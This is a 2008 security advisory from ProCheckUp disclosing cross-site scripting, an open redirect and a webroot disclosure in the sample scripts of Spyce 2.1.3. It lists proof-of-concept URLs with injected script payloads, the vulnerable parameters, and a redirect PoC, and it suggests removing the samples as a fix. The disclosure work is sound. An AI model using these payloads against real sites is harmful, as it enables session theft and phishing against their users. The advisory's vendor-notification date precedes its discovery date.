PR08-01: Several XSS, a cross-domain redirect and a webroot disclosure on Spyce - Python Server Pages (PSP)

PR08-01: Several XSS, a cross-domain redirect and a webroot disclosure
on Spyce - Python Server Pages (PSP)

Vulnerability found: 19th December 2007

Vendor informed: 14th January 2007

Vulnerability fixed: the vendor did not respond, however a workaround
has been included in the "Fix" section of this advisory.

Severity: Medium

Description:

All Spyce sample scripts that return client-supplied input back to the
browser are vulnerable to XSS. It is also possible to redirect users to
third-party sites and obtain the webroot path by not submitting required
parameters to certain scripts.

Note: tested on Spyce - Python Server Pages version 2.1.3

The following are only some examples that demonstrate XSS:

http://domain.foo/docs/examples/redirect.spy?url=%3CSCRIPT%3Ealert('Can%20Cross%20Site%20Attack')%3C/SCRIPT%3E&type=internal
http://domain.foo/docs/examples/handlervalidate.spy?x="><SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT>
http://domain.foo/spyce/examples/request.spy?name="/><SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT>
http://domain.foo/spyce/examples/getpost.spy?Name="/><SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT>
http://domain.foo/spyce/examples/formtag.spy?="/><SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT>&foo=Submit!&mycheck=check1&mypass=secret&myradio=radio_option1&mytext=some&mytextarea=</textarea><SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT>
http://domain.foo/spyce/examples/formtag.spy?mypass=%22/%3E%3Cscript%3Ealert(1)%3C/script%3E

Other vulnerable scripts and unsanitized parameters:

Script: /demos/chat/
parameter: newline

Script: /docs/examples/formintro.spy
parameter: text1

Script: /docs/examples/formtag.spy
parameter: mytext
parameter: mydate

Script: /docs/examples/redirect.spy
parameter: type

Note: some XSS can only be exploited via POST requests (as opposed to
GET). This could be done by using an embedded HTML form with
"method='POST'" attribute and a JavaScript snippet that causes the form
to auto-submits itself. Such form would be located on a third-party site.

Cross-domain redirect PoC:

http://domain.foo/spyce/examples/redirect.spy?url=www.procheckup.com&type=external

Requesting the following URL returns the server's webroot:

http://domain.foo/spyce/examples/automaton.spy

Consequences:

An attacker may be able to cause execution of malicious scripting code
in the browser of a user who clicks on a link to a Spyce-based site.
Such code would run within the security context of the target domain.
This type of attack can result in non-persistent defacement of the
target site, or the redirection of confidential information (i.e.:
session IDs) to unauthorised third parties.

Attackers can redirect victim users to third-party sites. Such behaviour
can help attackers perform phishing attacks by redirecting the victim to
a spoof login page.

Fix:

Remove sample scripts from live environments.

References:

http://www.procheckup.com/Vulnerabilities.php
http://spyce.sourceforge.net/

Credits: Richard Brain, Jan Fry, and Bruno Kovacs of ProCheckUp Ltd
(www.procheckup.com)

Legal:

Copyright 2008 Procheckup Ltd. All rights reserved.

Permission is granted for copying and circulating this Bulletin to the
Internet community for the purpose of alerting them to problems, if and
only if, the Bulletin is not edited or changed in any way, is attributed
to Procheckup, and provided such reproduction and/or distribution is
performed for non-commercial purposes.

Any other use of this information is prohibited. Procheckup is not
liable for any misuse of this information by any third party.